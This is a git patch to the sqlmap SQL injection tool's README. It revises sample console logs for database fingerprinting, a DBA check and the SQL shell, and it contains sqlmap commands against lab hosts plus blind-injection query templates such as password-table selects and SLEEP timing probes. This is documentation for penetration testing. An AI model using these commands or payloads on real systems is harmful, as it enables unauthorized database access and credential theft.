From 193482a62bd1bd1e7d7e4c258943d1cb1b716729 Mon Sep 17 00:00:00 2001
From: Bernardo Damele
By default the web application's back-end database management system fingerprint is performed requesting a database specific function which -returns a known static value. By comparing this value with the returned +returns a known static value. By comparing these value with the returned value it is possible to identify if the back-end database is effectively -the one that sqlmap expected.
+the one that sqlmap expected. Depending on the DBMS being tested, a +SQL dialect syntax which is syntatically correct depending upon the +back-end DBMS is also tested.After identifying an injectable vector, sqlmap fingerprints the back-end -database management system and go ahead with the injection with their +database management system and go ahead with the injection with its specific syntax within the limits of the database architecture.
Example on a MySQL 5.0.67 target:
@@ -2221,17 +2223,12 @@ specific syntax within the limits of the database architecture. $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 [...] -[hh:mm:14] [INFO] testing MySQL -[hh:mm:14] [INFO] query: CONCAT(CHAR(51), CHAR(51)) -[hh:mm:14] [INFO] retrieved: 33 -[hh:mm:14] [INFO] performed 20 queries in 0 seconds -[hh:mm:14] [INFO] confirming MySQL -[hh:mm:14] [INFO] query: LENGTH(CHAR(51)) -[hh:mm:14] [INFO] retrieved: 1 -[hh:mm:14] [INFO] performed 13 queries in 0 seconds -[hh:mm:14] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1 -[hh:mm:14] [INFO] retrieved: 3 -[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:17] [INFO] testing MySQL +[hh:mm:17] [INFO] confirming MySQL +[hh:mm:17] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:17] [INFO] retrieved: 5 +[hh:mm:17] [INFO] performed 13 queries in 0 seconds +[hh:mm:17] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: MySQL >= 5.0.0 @@ -2253,27 +2250,22 @@ messages, you can provide the--fingerprint
option.
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f
[...]
-[hh:mm:14] [INFO] testing MySQL
-[hh:mm:14] [INFO] query: CONCAT(CHAR(52), CHAR(52))
-[hh:mm:14] [INFO] retrieved: 44
-[hh:mm:14] [INFO] performed 20 queries in 0 seconds
-[hh:mm:14] [INFO] confirming MySQL
-[hh:mm:14] [INFO] query: LENGTH(CHAR(52))
-[hh:mm:14] [INFO] retrieved: 1
-[hh:mm:14] [INFO] performed 13 queries in 0 seconds
-[hh:mm:14] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
-[hh:mm:14] [INFO] retrieved: 4
-[hh:mm:14] [INFO] performed 13 queries in 0 seconds
-[hh:mm:14] [INFO] query: SELECT 4 FROM information_schema.PARAMETERS LIMIT 0, 1
-[hh:mm:14] [INFO] retrieved:
-[hh:mm:14] [INFO] performed 6 queries in 0 seconds
-[hh:mm:14] [INFO] query: MID(@@plugin_dir, 1, 1)
-[hh:mm:14] [INFO] retrieved:
-[hh:mm:14] [INFO] performed 6 queries in 0 seconds
-[hh:mm:14] [INFO] query: MID(@@hostname, 1, 1)
-[hh:mm:14] [INFO] retrieved: n
-[hh:mm:14] [INFO] performed 13 queries in 0 seconds
-[hh:mm:14] [INFO] executing MySQL comment injection fingerprint
+[hh:mm:49] [INFO] testing MySQL
+[hh:mm:49] [INFO] confirming MySQL
+[hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:49] [INFO] retrieved: 3
+[hh:mm:49] [INFO] performed 13 queries in 0 seconds
+[hh:mm:49] [INFO] the back-end DBMS is MySQL
+[hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.PARAMETERS LIMIT 0, 1
+[hh:mm:49] [INFO] retrieved:
+[hh:mm:49] [INFO] performed 6 queries in 0 seconds
+[hh:mm:49] [INFO] query: MID(@@table_open_cache, 1, 1)
+[hh:mm:49] [INFO] retrieved:
+[hh:mm:49] [INFO] performed 6 queries in 0 seconds
+[hh:mm:49] [INFO] query: MID(@@hostname, 1, 1)
+[hh:mm:49] [INFO] retrieved: t
+[hh:mm:49] [INFO] performed 13 queries in 0 seconds
+[hh:mm:49] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
@@ -2290,19 +2282,17 @@ back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -v 1 -f
[...]
-[hh:mm:26] [WARNING] the back-end DMBS is not MySQL
-[hh:mm:26] [INFO] testing Oracle
-[hh:mm:26] [INFO] query: LENGTH(SYSDATE)
-[hh:mm:26] [INFO] retrieved: 9
-[hh:mm:26] [INFO] performed 13 queries in 0 seconds
-[hh:mm:26] [INFO] confirming Oracle
-[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
-[hh:mm:26] [INFO] retrieved: 10.2.0.1.0
-[hh:mm:27] [INFO] performed 76 queries in 0 seconds
+[hh:mm:38] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:38] [INFO] testing Oracle
+[hh:mm:38] [INFO] confirming Oracle
+[hh:mm:38] [INFO] the back-end DBMS is Oracle
+[hh:mm:38] [INFO] query: SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:38] [INFO] retrieved: 10
+[hh:mm:38] [INFO] performed 20 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: active fingerprint: Oracle 10g
- html error message fingerprint: Oracle
+back-end DBMS: active fingerprint: Oracle 10g
+ html error message fingerprint: Oracle
@@ -2314,21 +2304,16 @@ back-end DBMS: active fingerprint: Oracle 10g
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
[...]
-[hh:mm:48] [WARNING] the back-end DMBS is not Oracle
-[hh:mm:48] [INFO] testing PostgreSQL
-[hh:mm:48] [INFO] query: COALESCE(6, NULL)
-[hh:mm:48] [INFO] retrieved: 6
-[hh:mm:48] [INFO] performed 13 queries in 0 seconds
-[hh:mm:48] [INFO] confirming PostgreSQL
-[hh:mm:48] [INFO] query: LENGTH(CHR(54))
-[hh:mm:48] [INFO] retrieved: 1
-[hh:mm:48] [INFO] performed 13 queries in 0 seconds
-[hh:mm:48] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)
-[hh:mm:48] [INFO] retrieved: 2
-[hh:mm:48] [INFO] performed 13 queries in 0 seconds
-[hh:mm:48] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
-[hh:mm:48] [INFO] retrieved:
-[hh:mm:48] [INFO] performed 6 queries in 0 seconds
+[hh:mm:14] [WARNING] the back-end DMBS is not Oracle
+[hh:mm:14] [INFO] testing PostgreSQL
+[hh:mm:14] [INFO] confirming PostgreSQL
+[hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
+[hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)
+[hh:mm:14] [INFO] retrieved: 2
+[hh:mm:14] [INFO] performed 13 queries in 0 seconds
+[hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
+[hh:mm:14] [INFO] retrieved:
+[hh:mm:14] [INFO] performed 6 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
@@ -2350,12 +2335,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1
[...]
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:41] [INFO] testing Microsoft SQL Server
-[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7)))
-[hh:mm:41] [INFO] retrieved: 1
-[hh:mm:41] [INFO] performed 13 queries in 0 seconds
-[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
-[hh:mm:41] [INFO] retrieved: 0
-[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] confirming Microsoft SQL Server
+[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
@@ -2371,14 +2352,10 @@ back-end DBMS: active fingerprint: Microsoft SQL Server 2000
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f
[...]
-[hh:mm:51] [WARNING] the back-end DMBS is not PostgreSQL
-[hh:mm:51] [INFO] testing Microsoft SQL Server
-[hh:mm:51] [INFO] query: LTRIM(STR(LEN(0)))
-[hh:mm:51] [INFO] retrieved: 1
-[hh:mm:51] [INFO] performed 13 queries in 0 seconds
-[hh:mm:51] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
-[hh:mm:51] [INFO] retrieved: 5
-[hh:mm:51] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:41] [INFO] testing Microsoft SQL Server
+[hh:mm:41] [INFO] confirming Microsoft SQL Server
+[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
@@ -2397,30 +2374,25 @@ you can also provide the -b
or --banner
option.
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f -b
[...]
-[hh:mm:24] [INFO] testing MySQL
-[hh:mm:24] [INFO] query: CONCAT(CHAR(52), CHAR(52))
-[hh:mm:24] [INFO] retrieved: 44
-[hh:mm:24] [INFO] performed 20 queries in 0 seconds
-[hh:mm:24] [INFO] confirming MySQL
-[hh:mm:24] [INFO] query: LENGTH(CHAR(52))
-[hh:mm:24] [INFO] retrieved: 1
-[hh:mm:24] [INFO] performed 13 queries in 0 seconds
-[hh:mm:24] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
-[hh:mm:24] [INFO] retrieved: 4
-[hh:mm:24] [INFO] performed 13 queries in 0 seconds
-[hh:mm:24] [INFO] query: VERSION()
-[hh:mm:24] [INFO] retrieved: 5.0.67-0ubuntu6
-[hh:mm:25] [INFO] performed 111 queries in 0 seconds
-[hh:mm:25] [INFO] query: SELECT 4 FROM information_schema.PARAMETERS LIMIT 0, 1
-[hh:mm:25] [INFO] retrieved:
-[hh:mm:25] [INFO] performed 6 queries in 0 seconds
-[hh:mm:25] [INFO] query: MID(@@plugin_dir, 1, 1)
-[hh:mm:25] [INFO] retrieved:
-[hh:mm:25] [INFO] performed 6 queries in 0 seconds
-[hh:mm:25] [INFO] query: MID(@@hostname, 1, 1)
-[hh:mm:25] [INFO] retrieved: n
-[hh:mm:25] [INFO] performed 13 queries in 0 seconds
-[hh:mm:25] [INFO] executing MySQL comment injection fingerprint
+[hh:mm:04] [INFO] testing MySQL
+[hh:mm:04] [INFO] confirming MySQL
+[hh:mm:04] [INFO] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:04] [INFO] retrieved: 0
+[hh:mm:04] [INFO] performed 13 queries in 0 seconds
+[hh:mm:04] [INFO] the back-end DBMS is MySQL
+[hh:mm:04] [INFO] query: VERSION()
+[hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
+[hh:mm:05] [INFO] performed 111 queries in 1 seconds
+[hh:mm:05] [INFO] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
+[hh:mm:05] [INFO] retrieved:
+[hh:mm:05] [INFO] performed 6 queries in 0 seconds
+[hh:mm:05] [INFO] query: MID(@@table_open_cache, 1, 1)
+[hh:mm:05] [INFO] retrieved:
+[hh:mm:05] [INFO] performed 6 queries in 0 seconds
+[hh:mm:05] [INFO] query: MID(@@hostname, 1, 1)
+[hh:mm:05] [INFO] retrieved: t
+[hh:mm:06] [INFO] performed 13 queries in 0 seconds
+[hh:mm:06] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
@@ -2445,11 +2417,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1
[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
-[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3)))
-[hh:mm:03] [INFO] retrieved: 1
-[hh:mm:03] [INFO] performed 13 queries in 0 seconds
-[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
-[hh:mm:03] [INFO] retrieved: 0
+[hh:mm:03] [INFO] confirming Microsoft SQL Server
+[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
[hh:mm:03] [INFO] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
@@ -2479,12 +2448,8 @@ $ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v
[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
-[hh:mm:03] [INFO] query: LTRIM(STR(LEN(8)))
-[hh:mm:03] [INFO] retrieved: 1
-[hh:mm:03] [INFO] performed 13 queries in 0 seconds
-[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
-[hh:mm:03] [INFO] retrieved: 5
-[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] confirming Microsoft SQL Server
+[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
[hh:mm:03] [INFO] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
@@ -2648,13 +2613,12 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-
[...]
back-end DBMS: PostgreSQL
-[hh:mm:52] [INFO] testing if current user is DBA
-[hh:mm:52] [INFO] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
-usename=CURRENT_USER OFFSET 0 LIMIT 1)=CHR(116)||CHR(114)||CHR(117)||CHR(101)) THEN 1
-ELSE 0 END)
-[hh:mm:52] [INFO] retrieved:
-[hh:mm:52] [INFO] performed 6 queries in 0 seconds
-current user is DBA: 'False'
+[hh:mm:49] [INFO] testing if current user is DBA
+[hh:mm:49] [INFO] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
+usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
+[hh:mm:49] [INFO] retrieved: 1
+[hh:mm:50] [INFO] performed 13 queries in 0 seconds
+current user is DBA: 'True'
@@ -3711,6 +3675,8 @@ SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
sql> [TAB TAB]
+ LIMIT
+(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
AND ORD(MID((%s), %d, 1)) > %d
CAST(%s AS CHAR(10000))
COUNT(%s)
@@ -3722,14 +3688,16 @@ LIMIT %d, %d
MID((%s), %d, %d)
ORDER BY %s ASC
SELECT %s FROM %s.%s
-SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
-table_schema='%s'
+SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
+SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'
SELECT grantee FROM information_schema.USER_PRIVILEGES
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
SELECT schema_name FROM information_schema.SCHEMATA
SELECT table_schema, table_name FROM information_schema.TABLES
SELECT user, password FROM mysql.user
+SLEEP(%d)
VERSION()
+\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)
sql> SE[TAB]
sql> SELECT
@@ -3776,7 +3744,7 @@ table_schema=CHAR(116,101,115,116) LIMIT 2, 1
[hh:mm:48] [INFO] retrieved: surname
[hh:mm:48] [INFO] performed 55 queries in 0 seconds
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
-[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
[hh:mm:04] [INFO] retrieved: 5
[hh:mm:04] [INFO] performed 13 queries in 0 seconds
@@ -4218,78 +4186,81 @@ INI file, sqlmap-SAUbs.conf
.
$ cat sqlmap-SAUbs.conf
[Target]
-googleDork =
-list =
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
+googledork =
+list =
[Request]
-aCred =
-aType =
+threads = 1
+useragentsfile =
+atype =
agent =
-cookie =
-data =
delay = 0
headers =
-method = GET
+cookie =
proxy =
+timeout = 10
+acred =
referer =
-threads = 1
-timeout = None
-userAgentsFile =
+data =
+method = GET
[Miscellaneous]
-batch = False
+updateall = False
eta = False
-sessionFile =
-updateAll = False
-verbose = 1
+verbose = 2
+batch = False
+sessionfile =
[Enumeration]
-col =
+dumpall = False
+limitstop = 0
+getusers = False
+isdba = False
+getpasswordhashes = False
+excludesysdbs = False
+getcurrentdb = False
+gettables = False
+dumptable = False
db =
-dumpAll = False
-dumpTable = False
-excludeSysDbs = False
-getBanner = True
-getColumns = False
-getCurrentDb = False
-getCurrentUser = False
-getDbs = False
-getPasswordHashes = False
-getPrivileges = False
-getTables = False
-getUsers = False
-limitStart = 0
-limitStop = 0
-query =
-sqlShell = False
+limitstart = 0
+getprivileges = False
+sqlshell = False
tbl =
+getcolumns = False
+query =
+getdbs = False
user =
+col =
+getcurrentuser = False
+getbanner = True
[File system]
-rFile =
-wFile =
+wfile =
+rfile =
[Takeover]
-osShell = False
+osshell = False
[Fingerprint]
-extensiveFp = False
+extensivefp = False
[Injection]
+estring =
dbms =
-eRegexp =
-eString =
+string =
postfix =
prefix =
+testparameter =
regexp =
-string =
-testParameter =
+eregexp =
[Techniques]
-timeTest = False
-unionTest = False
-unionUse = False
+stackedtest = False
+utech =
+unionuse = False
+timetest = False
+uniontest = False
@@ -4303,7 +4274,6 @@ with the -c
option as explained above in section 5.2:
$ python sqlmap.py -c "sqlmap-SAUbs.conf"
[...]
-
[hh:mm:16] [INFO] performed 657 queries in 6 seconds
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
diff --git a/doc/README.pdf b/doc/README.pdf
index a7446f5f3979c3d13902b43972a7144db3c7c108..db70225c61b1bbfa8e77f10f1fc65ed02a8000d4 100644
GIT binary patch
delta 83921
zcmZ6xQ*b6+w6z=Cwr$(C?WAMd={L6Z#a_}6|qKR z;3Kz;W|>|73?iNQ-&$jZ1YvLPb_A&;`k;hAD^RQ|wU|Nxj-e%24BOeRB6`!+`trt~ zbEX3RFk1@MwV#+dXQ>5hjw^Yzhw%w(p`i!v`Xw1+<%}Xf1XDQ`lhCM!of**O>2TzQ zO6qhf;Dyv^r$=g=X7=bR;`BS*6RE1)G;AT;V|zue)rL=ox`TK3ed G;iYtu8Cmru+ex>m{y4n@+C%;<5W-)e6ppw z704gvZ{4=OW(8v8&NI-Z+>vM B&O`z9zn@tJD_l_`9D_#@X@qv4@v*H&}{*lXlq{rSgx{CZBy@z<58C FO&+H z@J&f@Bnl7E1)D?fr7sbCTOT5r49#7U%%zr}YQEIgbSZiI0^as?%Hqm7zKWiBx-vY3 z*asC}RdIgoX3OR40bnt*vx!YmB-|yNRnf#W@0Z$8TZLwIqr>iv^!JE7k744f`+XhY z*M0O;uMxi`YJtsQ0Dl+N|6Pag28M<7g9|VeHY3@Di{=zuvzP2)u`>$o@>epwYQ`v2 z9nk|4F!x}ouQlXNb5%~(1=Pw)pys(c4RT8y+U=1fLbkS4-eEaZt}a8+?PR(`1n56K z{I*;W`1Qj^{8MN~ic=U_bsFtcm~euO>++OxyB6VG9Ck8v5uFjh;+lHoQ?vfH kN79Y1 wfQFjjz zFakP(d<=W~%~(oJ^qW+M1NUv8#nD82SBfv?9&(q6UiLnN2YD(oF8GpsC2Wf9f9v}g z``eg9y4?lkXMlzS^$dP!=Jn`P69!LMl3V80pJ@uFysA@w$D-}B6lf_^t(T?osTr44 zqgtztq7I_y#ulAY_^J$C5syx9DcX$wC )8TSPqpQ$IOg7 z3h?kN?LK<__0J2Wf5%)!j-X|TwOX-k`J${~kF*-8W$UU9E7qL@8H1Mq6IbJ9WeI?A zga&tl3I{mH<7#*us>sOSTw(6e_~KG7gw(A%h^|Y%%+%FnMDh_lV;3WgQxOwQo%=z1 z;ByMcC&+TcHAYvT#`q~ya(#+lJP4wDD#z=j$jIb-hOUI`jpb{~iG#|fX`uD%oxItA z`;fg%FdBVZJ Js)#OJ|uzMb K zFEkBjIf3<$rZO{ $&P`Eei{!8LEp zd(J**9p7Z#63enSXOve7j4mLn931U9gD(`m0Y*Ab$Mbxu4FmmfMg36cmmT8>3N@2N z2HY0Pww>>sFj6hS7Sj8%Xw(N0Wz}k;nK`Dkx|fVUvoiJ}8uij5PH6*8407IiX00Mz zk=3Cb(+Hhm#EuEm4KA_iG#QdQg_+@WQvD$p7UffW!FaFlFQMR8*Cl|a2IdD@btHwq zgbPMe_|g4TMom2pobSwDIl)%`xwhg@OuHnZ{GKtX)*LC^JJyO)8P<&qpJaMR6S{XR z4r|%jQ1OV<0DcB3f*%b6GD%dO7>E8zx-5n+CTv-SQc1qu3JqLFAmM=nEb6Zw6s=lb zD|`AfQ_Y*6muqHE_j&-<7=1-vUaPqy5C>;`G#nvmur57{@sd9$l<}NT&a&aEjySE( zQH9z0$ArkLzrCb^u58Q`2TGj;46p{h^Gvvd#p!30N%e_pFuqykeq>bF_hQph_0~G{ zoeIu&dcI`G+#*41sCK>Ec2{S+3VJ7}&l9#m4(L-!av=yrtU~}ENeSA;RgJM@-K3)C zy;4qCkZ9Xa@S0mPL~UO_uz{;ubyL)zATA<=%yi)t17VK(oC?L?iVVb2=fB+>Z+Z`5 ztXYnsi}XWOd)_bhcVdetoreq>&xExwW!}FL2Pz%5+e@eFT8DJa5-`?>G9GgW4&+i< zux~D|LPE)Fi 0+>P}0X z%KZ7y&C9owpTXexj#|U@`OQ*1UYM|a*Uv!FV(QQaof{wk+Hd|3J+g;!|7Wr1-RkMh zgt4RD+L050;HS?#boD$jbS-$;O{vh~o9QYM;KFDRj&nC`;>Dx3%YwDdu&T+Q_=;QA zDb(|A!}93dzCHX~9=5JBhTEOzAxSVIGq|D5;=l~ulZ|cbW)z1oITr3#h~E8wa7Q~h zpus+93oz>Zd*-{`2StKnXX9bw HUBMS|HSl8I(=g}<5M4@DM87VHff%*O`!`dWHu)tj+5f7@n>TCt~dc=_4G zItsSt3%48!&ryR@y(gnuu_=>lDQ@STUHxUdASZhsX%b{FHuWm!lS~jU$KP4Jh2PA% zGP;i@ +BW-|=|q@g4cFrBOY{KU{^dm|A9Uw; $n9TvJ#EkC#9qTy@+8 hU(;lDM`BnDs}DF)xdA%K7poZAGL=z3fP!DNLjd8 zoEo8ude%ki-?fmIdLfn1zlnn=k{rnogd-dOxcM#i1?fZ!cYbZU)jwH~y{uq# #&gq4=j|wuoYx7mww9(KdYb5xSNNAFxRQb6?aT|4E6Lag-+iS#*euW zAjxer0ieh(pJ%_E){dj+gU`N1HUSZ9$n%~7E_b+5#Otfv8cmC4e>%)F?Jx<^MT0 @tmnx>a z02P51q=dsB94k8e(Ot&p>idfZZ`wA{K=GIu?v*8|cfTf)+EGamK0Z#N`zno0Y_2dU zKT~I$2KJG_UwGk-XOZoEZ42kqpV9HR1Gf95JKLZv)s=Me9kzk&hJKM$Enb129@-*k zS}j!1&0I^~Bp(b1H%2kS+5S=_T=?uk0Be&7ihd2&C|QiQ>!nP3*O-pbX{DvWI{IY7 zSgMKULVRu1AxKO%{j4o;x%Xzy^pF)H2`uFJ;)tCfTk(#8+ZFjsZ=bV3JQ*BB2s${J zsGjLM=phuz8J?#+y6Rk?i$KPnj=1VLz9%9U04M$jH2MmR(*Lhu!2&nWK&yd+=b#~A z9BfIBwX}dC9XsWH9+b~5Bh)`iWGCVHBh&hnR~mVn=8%%|!B5~M7 `ieoBTykrf6I>azFn%n-@3WN@t40{s=q&H zGGtq?t-rAJ>V^rC*CLi2e60x}V=R^nGL(HsoErhg6s$P6>3<-_FZEi+x_4g j3z^_U`3|bH~ln3P=GVTpp^$CUgrR>vICLZaimr8$Sm_4iTndj=Qr=zac2Q)i(ij zYbwcoSp8~si3NmQ$6wZ=LlM`!&hwn42hBK~oWXjvqEygV1AW4wGNEWE2Pd7|i8{wo zpFjZn>icrOt=&(w1_)hI;y8V$je-j;x*q_$YxR$MkG1zQ?>(A{f&)>1gaLt0WOmXX z3lq3;69(r5qS5LLC$unjTIpYL$m*QA=dZ4(ptJ|3ln6)Gbcvnzg_TiqFx63JL{S`* z6IVC>1%qAvJw9;Q3|UG?PKkd+?h)68F9QMo&tiVD5<)o4+(sEXw-7Xz1=B~@Ai~p< z?N+j{jq4qJ{2i=z_pO`AwSv~rmxb;<;OsZ({@+Pb@AZP8f4c`!fAte1?Oz+aMe90y zvp&J0t0$Buc%q4$TQJrC!(?Gkh%K>Zz)-{mxQkG*c_pio@hc9IvZhfDTwq3Z@h}72 zuAHqh=-}*0#yNCLd6u6Y*L@tgAX~ke)tY8y#Fo=rB1Srw1l}KyG+|e+v)p2X-PnS< z5B6_|G;2_b#yntu|Kn2YAGGVNqAZ3Ry*eCfYZpX2P)w7?=^ZoV!inOc7{RvGJ{D}+ zTUO4VP#Ur`#-SP6bF_wYL#Am$E|Uf1AJS-FTxI{|RU#WZ%n1Ym^1(shl-(<-4s8*s zC3i6vadk0MM_O-3e1Uu{RtVX;Ju~RTj;%d@a*X#BLv*APy1i{<)WD7U1!rt9zXuH= zfc+Nt1`)h&(SRVbeDF%A8Kaz_C})5s__CYujmB4D|DfzwPeU3uiKOXto^b$xj~$f{ z) ZsC`@LBgSS7!d)~n0cigajHb4j~JEIk{-mK8~>%A^a|wqb6+QF2y~o* z>LahNL>pHhjcYx`7$a^LL7Z49jTgtV?PZ$Wsb!o-qR_SoT!EATwUbRQDD=cug( 60)2VGlP%%n$F6 za8 h@? $P `d+tkwWwRN41AIVLmmRKmdvTo{v%)(0{nW% zki6mc;@ZknMwkZ0m%^-f?-(&eg2=EOZt0Bw(NwegJ+op%er0A_vs!^3Af57lai{18 z- rz|SVV?`-fA&OJezgghQ}WsYl66yamt@l1 zPI?%tBr3L4SQYeSha4jQzF}mCI Psku;E;*?@7?ym0v3Wsu7{Y zQSY D(xi*^#r|Xs* zGA9bQr`o#o^#t7E`lQA0Fp_Qo^n+ld4JK+8CR3lKJJy76rYJEI`=ggBKb;e1*2B>+SlPqEqg3W1md!>$0`PG$VAvSDVutYI `g&Y0$W+>1SrG~H5z dzA02{aK(5jW!t8eavhG#)_#6|JxJQeyj8EH=J<6w*yq(y1ZRSK zX0rb5&fvoXoH$#7yM{ObuS^Rk-r-T{4Vn{n9_@+^qPQt>iYUB99Ysij5d1*rd?Mwi z0aH#q*cCeNa@=W20UIE< @#NyOwi2Von5)e|v&66d@dtu!i P zYNc9o@5)kE{jeEqIegg9j1w`NKY_i7>w3&ljniw{_d2+zKRQ;SoVmepV4yxzHXRhh zE$XHvFzM&&OmZLxLOoUPBX=OZV8RF>WOR4%XP!U98|vLk5J{V5buS}@9x6v2z=ae_ zG)bduE>RBtJuCzQFeRFBSo!`Al^kQ3R#8^x_C^^}sGA%K+cbGrd;z%ITdAj#U&2|} zGBjC}yVkB;SD0hYvw_|!tSE`{;0LDqW!tMq&NW9Nc0_kr|7?}?y&SYQ)}kFQOejz# z2a!=lf1hDlD OZ6T3M!A>+@X> z7er`5GiZCY#=tilp1yv_Ex@`hSi?yQ$4(`M{J>rWXa?)c)PA+nW5Q2ulW{I&$_-BS zwfOa;xtVAWG9CmYJW7&WHp2v^s(!gGIq-DE!*%Mi`G@1&d5^=}n`FHMpq QkQ{2>7^-xFY)y|EdgMR&UedpEGh;*&oejkJ(9{}lBIFDDrRqWlt%Y`Bo0IbQL z>JAQAQ1o3QGhe^e+Tb_PP*5IV-O6|V(05gg`$k>=rz%E+)zzUg{@_EvkX$E_`R0xG zuxPlV#BAnlK- DXop_*mw`p$dJ9~YEe7Fl)pokvH zjwEG8tP(xfo!z}KJ#i;{9>B;FS31sBi>do@hWmZkeFWc4*!2ZX|9<~+*UtjhFI1qZ zVS!sz_e|J{3?DqGQATdwg{j(^z)DMvoSl$pSrQSGIIM_}Nia*i6QnMj+WcA_BS$5g 